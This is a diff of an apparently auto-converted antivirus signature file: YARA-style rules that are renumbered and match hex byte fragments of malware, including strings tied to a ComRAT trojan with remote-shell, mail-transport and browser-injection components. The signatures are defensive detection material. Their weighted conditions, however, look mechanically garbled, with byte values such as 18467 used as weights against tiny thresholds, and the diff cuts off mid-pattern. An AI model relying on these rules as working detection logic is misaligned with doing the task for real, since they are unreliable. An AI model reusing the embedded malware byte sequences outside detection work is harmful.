00 21 " @@ -263509,7 +278912,7 @@ rule _InfrastructureShared_20520{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26912+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1+(#a_81_9 & 1)*1+(#a_81_10 & 1)*1+(#a_81_11 & 1)*1+(#a_81_12 & 1)*1+(#a_81_13 & 1)*1+(#a_81_14 & 1)*1+(#a_81_15 & 1)*1+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1+(#a_81_22 & 1)*1+(#a_81_23 & 1)*1+(#a_81_24 & 1)*1+(#a_81_25 & 1)*1+(#a_81_26 & 1)*1+(#a_81_27 & 1)*1+(#a_81_28 & 1)*1+(#a_81_29 & 1)*1+(#a_81_30 & 1)*1+(#a_30_31 & 1)*0+(#a_7a_32 & 1)*24922+(#a_30_33 & 1)*300+(#a_03_34 & 1)*1) >=151 } -rule _InfrastructureShared_20521{ +rule _InfrastructureShared_21744{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 15 00 21 " @@ -263538,7 +278941,7 @@ rule _InfrastructureShared_20521{ ((#a_46_0 & 1)*16675+(#a_09_2 & 1)*11408+(#a_2d_3 & 1)*14637+(#a_09_4 & 1)*11408+(#a_2d_5 & 1)*14637+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1) >=13 } -rule _InfrastructureShared_20522{ +rule _InfrastructureShared_21745{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 1b 00 21 " @@ -263573,7 +278976,7 @@ rule _InfrastructureShared_20522{ ((#a_70_0 & 1)*16675+(#a_6f_1 & 1)*18774+(#a_72_2 & 1)*30784+(#a_5b_3 & 1)*25709+(#a_65_4 & 1)*8224+(#a_00_5 & 1)*2676+(#a_52_6 & 1)*22531+(#a_73_7 & 1)*26465+(#a_72_8 & 1)*26222+(#a_66_9 & 1)*29811+(#a_6f_10 & 1)*8292+(#a_65_11 & 1)*25964+(#a_64_12 & 1)*16708+(#a_02_14 & 1)*101+(#a_00_15 & 1)*101+(#a_00_16 & 1)*110+(#a_46_17 & 1)*31053+(#a_6e_18 & 1)*24908+(#a_73_19 & 1)*29251+(#a_02_20 & 1)*28530+(#a_65_21 & 1)*26994+(#a_6f_22 & 1)*0+(#a_77_23 & 1)*26223+(#a_61_24 & 1)*29798+(#a_61_25 & 1)*29798+(#a_72_26 & 1)*30580) >=3 } -rule _InfrastructureShared_20523{ +rule _InfrastructureShared_21746{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 20 00 21 " @@ -263613,7 +279016,7 @@ rule _InfrastructureShared_20523{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28521+(#a_00_2 & 1)*29285+(#a_10_3 & 1)*11776+(#a_64_4 & 1)*29299+(#a_66_5 & 1)*21248+(#a_90_6 & 1)*28257+(#a_65_7 & 1)*24951+(#a_66_8 & 1)*21248+(#a_90_9 & 1)*31073+(#a_66_10 & 1)*21248+(#a_73_11 & 1)*26994+(#a_64_12 & 1)*29299+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1) >=1 } -rule _InfrastructureShared_20524{ +rule _InfrastructureShared_21747{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 ffffff80 00 21 " @@ -263747,7 +279150,7 @@ rule _InfrastructureShared_20524{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*3841+(#a_13_3 & 1)*3841+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1+(#a_01_8 & 1)*1+(#a_01_9 & 1)*1+(#a_01_10 & 1)*1+(#a_01_11 & 1)*1+(#a_01_12 & 1)*1+(#a_01_13 & 1)*1+(#a_01_14 & 1)*1+(#a_01_15 & 1)*1+(#a_01_16 & 1)*1+(#a_01_17 & 1)*1+(#a_01_18 & 1)*1+(#a_01_19 & 1)*1+(#a_01_20 & 1)*1+(#a_01_21 & 1)*1+(#a_01_22 & 1)*1+(#a_01_23 & 1)*1+(#a_01_24 & 1)*1+(#a_01_25 & 1)*1+(#a_01_26 & 1)*1+(#a_01_27 & 1)*1+(#a_01_28 & 1)*1+(#a_01_29 & 1)*1+(#a_01_30 & 1)*1+(#a_01_31 & 1)*1+(#a_01_32 & 1)*1+(#a_01_33 & 1)*1+(#a_01_34 & 1)*1+(#a_01_35 & 1)*1+(#a_01_36 & 1)*1+(#a_01_37 & 1)*1+(#a_01_38 & 1)*1+(#a_01_39 & 1)*1+(#a_01_40 & 1)*1+(#a_01_41 & 1)*1+(#a_01_42 & 1)*1+(#a_01_43 & 1)*1+(#a_01_44 & 1)*1+(#a_01_45 & 1)*1+(#a_01_46 & 1)*1+(#a_01_47 & 1)*1+(#a_01_48 & 1)*1+(#a_01_49 & 1)*1+(#a_01_50 & 1)*1+(#a_01_51 & 1)*1+(#a_01_52 & 1)*1+(#a_01_53 & 1)*1+(#a_01_54 & 1)*1+(#a_01_55 & 1)*1+(#a_01_56 & 1)*1+(#a_01_57 & 1)*1+(#a_01_58 & 1)*1+(#a_01_59 & 1)*1+(#a_01_60 & 1)*1+(#a_01_61 & 1)*1+(#a_01_62 & 1)*1+(#a_01_63 & 1)*1+(#a_01_64 & 1)*1+(#a_01_65 & 1)*1+(#a_01_66 & 1)*1+(#a_01_67 & 1)*1+(#a_01_68 & 1)*1+(#a_01_69 & 1)*1+(#a_01_70 & 1)*1+(#a_01_71 & 1)*1+(#a_01_72 & 1)*1+(#a_01_73 & 1)*1+(#a_01_74 & 1)*1+(#a_01_75 & 1)*1+(#a_01_76 & 1)*1+(#a_01_77 & 1)*1+(#a_01_78 & 1)*1+(#a_01_79 & 1)*1+(#a_01_80 & 1)*1+(#a_01_81 & 1)*1+(#a_01_82 & 1)*1+(#a_01_83 & 1)*1+(#a_01_84 & 1)*1+(#a_01_85 & 1)*1+(#a_01_86 & 1)*1+(#a_01_87 & 1)*1+(#a_01_88 & 1)*1+(#a_01_89 & 1)*1+(#a_01_90 & 1)*1+(#a_01_91 & 1)*1+(#a_01_92 & 1)*1+(#a_01_93 & 1)*1+(#a_01_94 & 1)*1+(#a_01_95 & 1)*1+(#a_01_96 & 1)*1+(#a_01_97 & 1)*1+(#a_36_98 & 1)*0+(#a_0f_100 & 1)*1536+(#a_01_102 & 1)*1+(#a_01_103 & 1)*1+(#a_01_104 & 1)*1+(#a_01_105 & 1)*1+(#a_01_106 & 1)*1+(#a_01_107 & 1)*1+(#a_01_108 & 1)*1+(#a_01_109 & 1)*1+(#a_01_110 & 1)*1+(#a_01_111 & 1)*1+(#a_01_112 & 1)*1+(#a_01_113 & 1)*1+(#a_01_114 & 1)*1+(#a_01_115 & 1)*1+(#a_01_116 & 1)*1+(#a_01_117 & 1)*1+(#a_01_118 & 1)*1+(#a_01_119 & 1)*1+(#a_01_120 & 1)*1+(#a_01_121 & 1)*1+(#a_01_122 & 1)*1+(#a_01_123 & 1)*1+(#a_01_124 & 1)*1+(#a_01_125 & 1)*1+(#a_01_126 & 1)*1+(#a_01_127 & 1)*1) >=1 } -rule _InfrastructureShared_20525{ +rule _InfrastructureShared_21748{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 ffffff80 00 21 " @@ -263869,7 +279272,7 @@ rule _InfrastructureShared_20525{ ((#a_54_0 & 1)*18467+(#a_04_1 & 1)*3841+(#a_00_2 & 1)*0+(#a_12_3 & 1)*3841+(#a_20_5 & 1)*3841+(#a_2e_7 & 1)*3841+(#a_3c_9 & 1)*3841+(#a_4a_11 & 1)*3841+(#a_58_13 & 1)*3841+(#a_66_15 & 1)*3841+(#a_74_17 & 1)*3841+(#a_5f_18 & 1)*22066+(#a_00_19 & 1)*2448+(#a_61_20 & 1)*281+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1+(#a_03_24 & 1)*1+(#a_01_25 & 1)*1+(#a_03_26 & 1)*1+(#a_03_27 & 1)*1+(#a_03_28 & 1)*1+(#a_03_29 & 1)*1+(#a_03_30 & 1)*1+(#a_03_31 & 1)*1+(#a_03_32 & 1)*1+(#a_03_33 & 1)*1+(#a_03_34 & 1)*1+(#a_03_35 & 1)*1+(#a_03_36 & 1)*1+(#a_03_37 & 1)*1+(#a_03_38 & 1)*1+(#a_03_39 & 1)*1+(#a_03_40 & 1)*1+(#a_5d_41 & 1)*0+(#a_01_42 & 1)*-28640+(#a_6f_43 & 1)*24864+(#a_62_44 & 1)*29795+(#a_57_45 & 1)*11520+(#a_66_46 & 1)*26478+(#a_57_48 & 1)*9984+(#a_66_49 & 1)*26478+(#a_65_50 & 1)*25347+(#a_63_51 & 1)*27137+(#a_20_52 & 1)*29537+(#a_64_53 & 1)*25970+(#a_6f_54 & 1)*28277+(#a_65_55 & 1)*25888+(#a_52_56 & 1)*18944+(#a_6e_57 & 1)*29285+(#a_20_58 & 1)*28518+(#a_6c_59 & 1)*257+(#a_64_60 & 1)*8292+(#a_41_61 & 1)*22273+(#a_61_62 & 1)*8306+(#a_74_63 & 1)*28528+(#a_20_64 & 1)*25445+(#a_20_65 & 1)*25461+(#a_70_66 & 1)*29813+(#a_6d_68 & 1)*17153+(#a_64_69 & 1)*28535+(#a_44_70 & 1)*18775+(#a_01_71 & 1)*3072+(#a_01_72 & 1)*2304+(#a_30_73 & 1)*8307+(#a_4f_74 & 1)*20043+(#a_4f_75 & 1)*18944+(#a_6f_76 & 1)*8236+(#a_00_78 & 1)*114+(#a_00_80 & 1)*87+(#a_61_81 & 1)*11585+(#a_00_82 & 1)*120+(#a_00_84 & 1)*105+(#a_2d_85 & 1)*23085+(#a_02_86 & 1)*-28550+(#a_2d_87 & 1)*23085+(#a_00_89 & 1)*100+(#a_00_91 & 1)*92+(#a_00_92 & 1)*101+(#a_00_93 & 1)*47+(#a_00_94 & 1)*32+(#a_00_95 & 1)*97+(#a_fc_96 & 1)*-29949+(#a_03_98 & 1)*1+(#a_03_99 & 1)*1+(#a_03_100 & 1)*1+(#a_03_101 & 1)*1+(#a_03_102 & 1)*1+(#a_03_103 & 1)*1+(#a_03_104 & 1)*1+(#a_03_105 & 1)*1+(#a_03_106 & 1)*1+(#a_03_107 & 1)*1+(#a_03_108 & 1)*1+(#a_03_109 & 1)*1+(#a_03_110 & 1)*1+(#a_03_111 & 1)*1+(#a_03_112 & 1)*1+(#a_03_113 & 1)*1+(#a_03_114 & 1)*1+(#a_03_115 & 1)*1+(#a_03_116 & 1)*1+(#a_03_117 & 1)*1+(#a_03_118 & 1)*1+(#a_03_119 & 1)*1+(#a_03_120 & 1)*1+(#a_03_121 & 1)*1+(#a_03_122 & 1)*1+(#a_03_123 & 1)*1+(#a_03_124 & 1)*1+(#a_03_125 & 1)*1+(#a_03_126 & 1)*1+(#a_03_127 & 1)*1) >=1 } -rule _InfrastructureShared_20526{ +rule _InfrastructureShared_21749{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,15 00 15 00 15 00 21 " @@ -263899,7 +279302,7 @@ rule _InfrastructureShared_20526{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*23085+(#a_61_2 & 1)*281+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1+(#a_03_5 & 1)*1+(#a_01_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1) >=21 } -rule _InfrastructureShared_20527{ +rule _InfrastructureShared_21750{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 18 00 21 " @@ -263931,7 +279334,7 @@ rule _InfrastructureShared_20527{ ((#a_46_0 & 1)*21283+(#a_00_1 & 1)*9507+(#a_63_2 & 1)*25701+(#a_64_4 & 1)*29264+(#a_03_5 & 1)*1+(#a_03_6 & 1)*1+(#a_03_7 & 1)*1+(#a_03_8 & 1)*1+(#a_03_9 & 1)*1+(#a_03_10 & 1)*1+(#a_03_11 & 1)*1+(#a_03_12 & 1)*1+(#a_03_13 & 1)*1+(#a_03_14 & 1)*1+(#a_03_15 & 1)*1+(#a_03_16 & 1)*1+(#a_03_17 & 1)*1+(#a_03_18 & 1)*1+(#a_03_19 & 1)*1+(#a_03_20 & 1)*1+(#a_03_21 & 1)*1+(#a_03_22 & 1)*1+(#a_03_23 & 1)*1) >=3 } -rule _InfrastructureShared_20528{ +rule _InfrastructureShared_21751{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 2b 00 21 " @@ -263983,7 +279386,7 @@ rule _InfrastructureShared_20528{ ((#a_46_0 & 1)*16675+(#a_3d_1 & 1)*15677+(#a_65_2 & 1)*26977+(#a_63_3 & 1)*28270+(#a_73_4 & 1)*29807+(#a_63_5 & 1)*25089+(#a_81_6 & 1)*2+(#a_81_7 & 1)*2+(#a_81_8 & 1)*2+(#a_81_9 & 1)*2+(#a_81_10 & 1)*2+(#a_81_11 & 1)*5+(#a_81_12 & 1)*5+(#a_81_13 & 1)*5+(#a_81_14 & 1)*5+(#a_81_15 & 1)*5+(#a_81_16 & 1)*1+(#a_81_17 & 1)*1+(#a_81_18 & 1)*1+(#a_81_19 & 1)*1+(#a_81_20 & 1)*1+(#a_81_21 & 1)*1+(#a_81_22 & 1)*1+(#a_81_23 & 1)*1+(#a_81_24 & 1)*1+(#a_81_25 & 1)*1+(#a_81_26 & 1)*1+(#a_81_27 & 1)*1+(#a_81_28 & 1)*1+(#a_81_29 & 1)*1+(#a_81_30 & 1)*1+(#a_81_31 & 1)*1+(#a_01_32 & 1)*10+(#a_01_33 & 1)*10+(#a_8b_34 & 1)*0+(#a_61_35 & 1)*281+(#a_03_36 & 1)*3+(#a_03_37 & 1)*3+(#a_03_38 & 1)*3+(#a_03_39 & 1)*3+(#a_03_40 & 1)*3+(#a_01_41 & 1)*3+(#a_03_42 & 1)*3) >=13 } -rule _InfrastructureShared_20529{ +rule _InfrastructureShared_21752{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 0d 00 21 " @@ -264002,7 +279405,7 @@ rule _InfrastructureShared_20529{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25970+(#a_30_2 & 1)*11585+(#a_01_3 & 1)*-28672+(#a_00_5 & 1)*99+(#a_00_7 & 1)*110+(#a_00_8 & 1)*51+(#a_00_9 & 1)*92+(#a_2d_10 & 1)*23085+(#a_00_12 & 1)*97) >=3 } -rule _InfrastructureShared_20530{ +rule _InfrastructureShared_21753{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 41 00 21 " @@ -264069,7 +279472,7 @@ rule _InfrastructureShared_20530{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*13788+(#a_8b_2 & 1)*2560+(#a_90_3 & 1)*1025+(#a_d8_4 & 1)*1873+(#a_90_5 & 1)*-1979+(#a_33_6 & 1)*785+(#a_00_7 & 1)*2448+(#a_8b_8 & 1)*3584+(#a_90_9 & 1)*2305+(#a_01_10 & 1)*-32260+(#a_05_11 & 1)*400+(#a_b6_12 & 1)*780+(#a_90_13 & 1)*-32496+(#a_8b_15 & 1)*4864+(#a_04_16 & 1)*-28488+(#a_01_17 & 1)*-17968+(#a_2b_18 & 1)*3584+(#a_00_19 & 1)*2448+(#a_c7_20 & 1)*787+(#a_00_21 & 1)*2448+(#a_08_22 & 1)*-29949+(#a_90_23 & 1)*-14797+(#a_22_24 & 1)*28532+(#a_76_25 & 1)*14950+(#a_76_26 & 1)*27763+(#a_74_27 & 1)*29296+(#a_6f_28 & 1)*28716+(#a_6e_29 & 1)*29281+(#a_6e_30 & 1)*16930+(#a_79_31 & 1)*8762+(#a_2c_32 & 1)*21077+(#a_70_33 & 1)*26478+(#a_75_34 & 1)*28532+(#a_6d_35 & 1)*28204+(#a_65_36 & 1)*28530+(#a_33_37 & 1)*29807+(#a_00_38 & 1)*10+(#a_6e_39 & 1)*27247+(#a_00_40 & 1)*68+(#a_00_41 & 1)*110+(#a_00_43 & 1)*115+(#a_00_45 & 1)*57+(#a_00_46 & 1)*112+(#a_00_47 & 1)*84+(#a_00_49 & 1)*74+(#a_90_50 & 1)*7185+(#a_00_51 & 1)*72+(#a_00_52 & 1)*85+(#a_00_53 & 1)*106+(#a_00_54 & 1)*98+(#a_00_56 & 1)*117+(#a_00_57 & 1)*54+(#a_00_59 & 1)*90+(#a_00_60 & 1)*102+(#a_65_61 & 1)*21602+(#a_32_62 & 1)*19532+(#a_00_64 & 1)*101) >=1 } -rule _InfrastructureShared_20531{ +rule _InfrastructureShared_21754{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 12 00 21 " @@ -264094,7 +279497,7 @@ rule _InfrastructureShared_20531{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*30242+(#a_74_2 & 1)*26994+(#a_69_3 & 1)*29487+(#a_6f_4 & 1)*28732+(#a_2c_5 & 1)*30313+(#a_2c_6 & 1)*11379+(#a_6f_8 & 1)*28739+(#a_01_9 & 1)*-28638+(#a_3a_10 & 1)*28531+(#a_3a_11 & 1)*30050+(#a_73_12 & 1)*29284+(#a_3a_13 & 1)*28531+(#a_22_14 & 1)*29808+(#a_74_15 & 1)*28460+(#a_00_17 & 1)*114) >=2 } -rule _InfrastructureShared_20532{ +rule _InfrastructureShared_21755{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 17 00 21 " @@ -264120,7 +279523,7 @@ rule _InfrastructureShared_20532{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*102+(#a_00_2 & 1)*118+(#a_00_3 & 1)*120+(#a_00_5 & 1)*115+(#a_00_7 & 1)*66+(#a_00_8 & 1)*49+(#a_00_9 & 1)*109+(#a_00_10 & 1)*52+(#a_00_12 & 1)*108+(#a_00_13 & 1)*66+(#a_00_14 & 1)*51+(#a_00_16 & 1)*114+(#a_00_18 & 1)*102+(#a_00_20 & 1)*1+(#a_cb_21 & 1)*0+(#a_75_22 & 1)*25976) >=10 } -rule _InfrastructureShared_20533{ +rule _InfrastructureShared_21756{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 13 00 21 " @@ -264142,7 +279545,7 @@ rule _InfrastructureShared_20533{ ((#a_46_0 & 1)*16675+(#a_75_1 & 1)*856+(#a_45_3 & 1)*25088+(#a_00_5 & 1)*32+(#a_2c_7 & 1)*101+(#a_90_8 & 1)*11617+(#a_00_10 & 1)*99+(#a_2d_12 & 1)*2305+(#a_00_13 & 1)*32+(#a_2d_15 & 1)*2305+(#a_30_16 & 1)*11585+(#a_00_17 & 1)*115+(#a_2d_18 & 1)*14637) >=6 } -rule _InfrastructureShared_20534{ +rule _InfrastructureShared_21757{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 27 00 21 " @@ -264188,7 +279591,7 @@ rule _InfrastructureShared_20534{ ((#a_46_0 & 1)*21283+(#a_72_1 & 1)*19202+(#a_6c_2 & 1)*28274+(#a_50_3 & 1)*4864+(#a_61_4 & 1)*28755+(#a_00_5 & 1)*144+(#a_72_6 & 1)*19202+(#a_90_7 & 1)*29285+(#a_3a_8 & 1)*27759+(#a_00_9 & 1)*75+(#a_00_11 & 1)*97+(#a_00_12 & 1)*87+(#a_00_13 & 1)*114+(#a_40_14 & 1)*1027+(#a_00_15 & 1)*58+(#a_00_16 & 1)*102+(#a_00_18 & 1)*5+(#a_63_19 & 1)*17722+(#a_65_20 & 1)*23552+(#a_5c_21 & 1)*13944+(#a_6e_22 & 1)*26996+(#a_00_23 & 1)*99+(#a_54_24 & 1)*26990+(#a_6a_25 & 1)*28508+(#a_73_26 & 1)*28532+(#a_72_27 & 1)*25209+(#a_00_28 & 1)*114+(#a_5f_29 & 1)*21070+(#a_6f_30 & 1)*29795+(#a_00_31 & 1)*25205+(#a_41_32 & 1)*21574+(#a_63_33 & 1)*26996+(#a_73_34 & 1)*25454+(#a_00_35 & 1)*144+(#a_10_36 & 1)*-28672+(#a_90_37 & 1)*26465+(#a_64_38 & 1)*24948) >=2 } -rule _InfrastructureShared_20535{ +rule _InfrastructureShared_21758{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 1d 00 21 " @@ -264225,7 +279628,7 @@ rule _InfrastructureShared_20535{ ((#a_54_0 & 1)*18467+(#a_64_1 & 1)*11876+(#a_65_2 & 1)*23552+(#a_5c_3 & 1)*13944+(#a_6e_4 & 1)*26996+(#a_00_5 & 1)*99+(#a_54_6 & 1)*26990+(#a_6a_7 & 1)*28508+(#a_73_8 & 1)*28532+(#a_72_9 & 1)*25209+(#a_00_10 & 1)*114+(#a_5f_11 & 1)*21070+(#a_6f_12 & 1)*29795+(#a_00_13 & 1)*25205+(#a_41_14 & 1)*21574+(#a_63_15 & 1)*26996+(#a_73_16 & 1)*25454+(#a_00_17 & 1)*144+(#a_10_18 & 1)*-28672+(#a_90_19 & 1)*26465+(#a_64_20 & 1)*24948+(#a_63_22 & 1)*26723+(#a_73_23 & 1)*25970+(#a_6e_24 & 1)*29298+(#a_00_25 & 1)*-1000+(#a_00_26 & 1)*-2000+(#a_00_27 & 1)*-2000+(#a_00_28 & 1)*-2000) >=10 } -rule _InfrastructureShared_20536{ +rule _InfrastructureShared_21759{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffec 05 ffffff9c 05 40 00 21 " @@ -264259,42 +279662,36 @@ rule _InfrastructureShared_20536{ $a_ff_28 = {00 05 00 2f 02 8d 44 24 04 50 e8 90 01 02 ff ff 8b c3 8b d4 b9 05 01 00 00 e8 90 01 02 ff ff 8b 03 e8 90 01 02 ff ff 8b 13 80 7c 02 ff 5c 74 0c 8b c3 90 00 05 00 3d 02 64 ff 30 64 89 20 68 90 01 03 00 68 90 01 03 00 e8 90 01 02 ff ff 85 c0 74 90 01 01 6a 00 6a 90 01 01 6a 12 68 90 01 03 00 68 90 01 03 00 e8 90 01 02 ff ff 50 e8 90 01 02 ff ff 90 00 0a 00 4c 02 64 ff 30 64 89 20 68 90 01 03 00 6a 01 8d 55 fc b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 fc e8 90 01 02 ff ff 50 8d 55 f8 b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 f8 e8 90 01 02 ff ff 8b d0 b8 02 00 00 80 59 e8 90 01 02 ff ff 90 00 0a 00 56 02 6a 03 6a 00 8d 55 f0 b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 f0 e8 90 01 02 ff ff 50 8d 55 ec b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 ec e8 90 01 02 ff ff 50 8d 55 } //513 $a_01_29 = {03 00 e8 90 01 02 ff ff 8b 45 e8 e8 90 01 02 ff ff 50 6a 00 e8 90 01 02 ff ff 90 00 0a 00 7d 02 64 ff 30 64 89 20 e8 90 01 02 ff ff b8 02 00 00 00 e8 90 01 02 ff ff 8b 15 90 01 04 89 02 a1 90 01 04 83 38 01 75 4f 6a 03 6a 00 8d 55 fc b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 fc e8 90 01 02 ff ff 50 8d 55 f8 b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 f8 e8 90 01 02 ff ff 50 8d 55 f4 b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 f4 e8 90 01 02 } //-18200 $a_6a_30 = {e8 90 01 02 ff ff 90 00 0a 00 67 02 64 ff 30 64 89 20 68 90 01 03 00 e8 90 01 02 ff ff 68 90 01 04 6a 01 8d 55 fc b8 2c 80 40 00 e8 90 01 02 ff ff 8b 45 fc e8 90 01 02 ff ff 50 8d 55 f8 b8 90 01 03 00 e8 90 01 02 ff ff 8b 45 f8 e8 90 01 02 } //-1 - $a_d0_31 = {02 00 00 80 59 e8 90 01 02 ff ff 8d 45 f4 e8 90 01 02 ff ff 8d 45 f4 ba 90 01 03 00 90 00 00 00 78 e2 05 00 04 00 04 00 1f 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 43 6f 6d 52 41 54 2e 41 21 64 68 61 00 01 00 1c 03 2e 3f 41 56 4d 61 69 6c 48 74 74 70 54 72 90 01 01 6e 73 70 6f 72 74 40 40 00 90 00 01 00 1d 03 2e 3f 41 56 44 65 6c 65 74 65 41 6c 6c 4d 61 90 01 01 6c 49 6e 73 74 72 40 40 } //-1 - $a_2e_33 = {41 56 47 } //9728 AVG - $a_6f_34 = {66 69 67 75 72 61 74 69 90 01 01 6e 49 6e 73 74 72 75 63 74 69 6f 6e 40 40 00 90 00 01 00 2d 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 52 65 90 01 01 64 46 69 6c 65 50 61 72 61 6d 73 40 } //29797 - $a_74_35 = {40 40 00 90 00 01 00 2b 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 44 69 72 53 74 90 01 01 50 61 72 61 6d 73 40 40 40 73 74 64 40 40 00 90 00 01 00 1e 03 2e 3f 41 56 53 65 6e 64 57 6f 72 6b 90 01 01 6e 67 4c 6f 67 49 6e 73 74 72 40 40 00 90 00 01 00 20 03 2e 3f 41 56 53 65 74 54 69 6d 65 6f 75 74 49 6e 73 74 72 90 01 01 63 74 69 } //16448 - $a_40_36 = {90 00 01 00 19 03 2e 3f 41 56 53 68 65 6c 6c 45 78 90 01 01 63 49 6e 73 74 72 40 40 00 90 00 01 00 2e 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 40 56 45 78 65 63 53 68 90 01 01 6c 6c } //28271 - $a_61_37 = {73 40 40 40 73 74 64 40 40 00 90 00 01 00 20 03 2e 3f 41 56 43 72 79 70 74 65 64 43 6f 6d 6d 61 90 01 01 64 41 64 61 70 74 65 72 40 40 00 90 00 01 00 41 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 43 6f 6d 6d 61 90 01 01 64 45 6e 67 69 6e 65 40 43 6f 6d 6d 61 6e 64 53 75 62 73 79 73 74 65 6d 40 40 40 73 74 64 40 40 } //24912 - $a_2e_39 = {41 56 3f } //14592 AV? - $a_65_40 = {5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 54 72 61 6e 73 70 6f 72 74 42 72 6f 77 90 01 01 65 72 49 6e 6a 65 63 74 40 40 40 73 74 64 40 40 00 90 00 01 00 34 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 4d 61 69 6c 48 74 74 70 54 } //24356 - $a_01_41 = {6e } //-28558 n - $a_72_42 = {40 40 40 73 74 64 40 40 00 90 00 01 00 3c 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 90 01 01 72 61 67 65 49 4f 50 72 6f 76 69 64 65 72 40 53 74 6f 72 61 67 65 40 40 40 73 74 64 40 40 00 90 00 01 00 37 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 53 74 6f 72 61 67 65 51 75 90 } //28787 - $a_79_43 = {53 74 6f 72 61 67 65 40 40 40 73 74 64 40 40 00 90 00 01 00 24 03 2e 3f 41 56 50 69 70 65 43 6c 69 65 6e 74 53 65 72 76 90 01 01 72 49 6e 74 65 72 66 61 63 65 40 40 00 90 00 01 00 1f 03 2e 3f 41 56 50 69 70 65 43 6c 69 65 6e 74 53 65 72 90 01 01 65 72 49 6d 70 6c 40 40 00 90 00 01 00 21 03 2e 3f 41 56 54 72 61 6e 73 70 6f 72 74 42 72 6f 90 } //257 - $a_65_44 = {49 6e 6a 65 63 74 40 40 00 90 00 01 00 2f 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 75 6e 74 5f 6f 62 6a 40 56 4c 65 67 61 63 90 01 01 43 6f 6e 66 69 67 40 40 40 73 74 64 40 40 00 90 00 01 00 38 03 2e 3f 41 56 3f 24 5f 52 65 66 5f 63 6f 